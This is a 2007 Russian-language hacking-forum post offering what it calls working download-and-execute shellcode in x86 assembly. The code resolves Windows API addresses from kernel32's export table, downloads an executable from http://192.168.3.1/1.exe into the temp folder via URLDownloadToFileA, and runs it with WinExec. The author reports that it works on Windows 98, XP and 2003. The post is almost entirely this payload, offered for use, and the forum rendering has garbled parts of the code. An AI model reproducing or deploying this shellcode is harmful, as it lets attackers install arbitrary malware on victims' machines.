Показать сообщение отдельно

  #2  
Старый 20.04.2007, 17:31
slesh
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

------------------------------------------------------------------
Вот рабочий шелл-код:
PHP код:
; (CSLESH
ICQ266-334-734

use32
 push eax ebx ecx edx esi edi ebp
 pushf

;--- получение начального адресакоманды не должны содержать код 00h

 call 
$+вызов следующей команды
 pop ebp 
в ebp адрес возврата
 sub ebp
,13

 
xor eax,eax  определение типа ОС 9х или NТ
 add eax
,[fs:eax+30h]
 
js method_9x
method_nt
:  ; Если NT
 mov eax
,[eax+0ch]    ;
 
mov esi,[eax+1ch]    ; Получение базового адреса kernel32.dll
 lodsd              
OS_BASENT
 mov eax
,[eax+08h]    ;
 
jmp kernel32_ptr_found
method_9x
:  ; Если 9х
 mov eax
,[eax+34h]    ;
 
lea eax,[eax+7ch]    ; Получение базового адреса kernel32.dll
 mov eax
,[eax+3ch]    ; OS_BASE
kernel32_ptr_found
:

push esi edi
 mov esi
,APIfunct
 add esi
,ebp
 mov edi
,APIAdr
 add edi
,ebp
 call GetAPIs
pop edi esi

 mov edx
,ebp
 add edx
,buf
 push edx  
Занести Адрес буфера
 push 128  
Занести размер буфера

 call dword 
[GetTempPathA+ebp] ; GetTempPathA

 mov edx
,ebp
 add edx
,buf  EDX=адрес буфера
 
xor esi,esi  смещение в буфере
 add edx
,eax  edx конец буфера

m1
:
 
mov bl,[ebp+output_name+esi] ; считать байт из имени файла
 cmp bl
,0  если это конец имени файла
 je m2    
выход из цикла копирования
 mov 
[edx+esi],bl  запись в буфер
 inc esi  
сместить указатель
 jmp m1  
копироватьследующий символ
m2
:
 
mov [edx+esi],byte 0  поставить 0 в конце имени


 mov edx
,ebp
 add edx
,LibName
 push edx
 call dword 
[LoadLibraryA+ebp]

 
mov edx,ebp
 add edx
,FuncName
 push edx
 push eax
 call dword 
[GetProcAddress+ebp]

 
push 0
 push 0
 mov edx
,ebp
 add edx
,buf
 push edx
 mov edx
,ebp
 add edx
,URL
 push edx
 push 0
 call eax

 push 5
Показывать окно
 mov edx
,ebp
 add edx
,buf
 push edx          
;имя команды
 call dword 
[WinExec+ebp] ; WinExec

exit:
 
popf
 pop ebp edi esi edx ecx ebx eax
 ret



APIAdr
:
 
GetTempPathA dd 0
 LoadLibraryA dd 0
 GetProcAddress dd 0
 WinExec dd 0


buf
:
APIfunct:
 
db 'GetTempPathA',0
 db 
'LoadLibraryA',0
 db 
'GetProcAddress',0
 db 
'WinExec',0
 db 0BBh 
Отмечает конец массива ;


;---------------;
;
Эта процедура получает адрес требуемой API функции по ее имени ;
;
ВХОДНЫЕ ДАННЫЕESI указатель на имя функции с учетом регистра ;
;
ВЫХОДНЫЕ ДАННЫЕEAX адрес требуемой функции ;
;
ECX длина имени функции ;
;---------------;
GetAPI:
mov edx,esi ;сохраняем указатель имя
mov edi
,esi ;для проверки длины
xor al,al ;будем сравнивать посимвольно с 0
@_1scasb
jnz 
@_1
sub edi
,esi ;EDI размер имени функции
mov ecx
,edi ;в ECX тоже самое
xor eax,eax
mov esi
,3Ch ;смещение на начало PE заголовка
add esi
,[ebp+kernel

lodsw ;значение по адресу ESI в EAX
add eax
,[ebp+kernel] ;нормализуем смещение PE
mov esi
,[eax+78h] ;RVA таблицы экспорта
add esi
,1Ch ;плюс смещение на RVA таблицы адресов

add esi
,[ebp+kernel] ;нормализуеми получаем ссылку на RVA т.адр.
lea edi,[ebp+ATVA] ;готовимся к пересылке

lodsd 
;RVA табладресов в EAX
add eax
,[ebp+kernel] ;нормализуем
stosd 
;сохраняем в переменной ATVA

lodsd 
;RVA таблимен в EAX
add eax
,[ebp+kernel] ;нормализуем
push eax 
;сохраняем в стеке
stosd 
;и в переменной NTVA

lodsd 
;RVA таблординалов в EAX
add eax
,[ebp+kernel] ;нормализуем
stosd 
;сохраняем в OTVA

pop esi 
;в ESI адрес таблимен

xor ebx,ebx ;mov ebx,0

@_3lodsd ;[ESI]==>EAXRVA на имя функции
push esi 
;сохраняем указатель на RVA имени функции
add eax
,[ebp+kernel] ;нормализуем
;готовимся к сравнению
mov esi
,eax ;в ESI адрес имени функции
mov edi
,edx ;в EDI адрес образца имени
push ecx 
;сохраняем длину образца имени
cld
rep cmpsb 
;сравниваем побайтово
pop ecx 
;восстанавливаем длину образца имени
jz 
@_4 ;переходим сюда если совпали имена
pop esi 
;нетвосстанавливаем указатель на RVA им.ф-и (уже следующей)
inc ebx ;увеличиваем счетчик
jmp 
@_3 ;и опять начинаем с начала
@_4:
pop esi ;очищаем стек
xchg eax
,ebx ;в EAX значение счетчика
shl eax
,;умножаем на 2 (тк ординалы это wordы)
add eax,[ebp+OTVA];прибавляем к началу таблицы ордсчетчик
xor esi,esi
xchg eax
,esi ;в ESI адрес ординала
lodsw 
;в EAX получаем сам ординал
shl eax
,;умножаем его на 4 (тк dwordи получаем смещение относительно табладресов
add eax
,[ebp+ATVA];нормализуем
mov esi
,eax ;в ESI адрес на RVA API функции
lodsd 
;получаем это RVA в EAX
add eax
,[ebp+kernel] ;нормализуем
ret 
;и на выходе адрес требуемой ф-и

GetAPIs
:
jmp GetAPIs_next
kernel dd 0
ATVA dd 0
NTVA dd 0
OTVA dd 0
GetAPIs_next
:
mov [ebp+kernel],eax ;сохраняем адрес базы
__1
: ;начинаем поиск функций
push esi 
;сохраняем нужные регистры
push edi
call GetAPI 
;в EAX получаем адрес функции
pop edi 
;восстанавливаем регистры
pop esi
stosd 
;сохраняем по адресу на который указывает EDI

add esi
,ecx ;переходим к следующему имени
cmp byte 
[esi],0BBh ;проверяемне конец ли массива имен
jz GetAPIs_exit 
;если да то выход
jmp __1 
;нетищем следующую функцию
GetAPIs_exit
:
ret
LibName db 
'URLMON.DLL',0
FuncName db 
'URLDownloadToFileA',0
output_name
db '12345678.exe',0
URL
db 'http://192.168.3.1/1.exe',
------------------------------------------------------------------
Вот и всё. Могу отметить только то, что при тестировании этот шелл-код оказался работоспособным как в Windows 98, так и в Windows XP и 2003.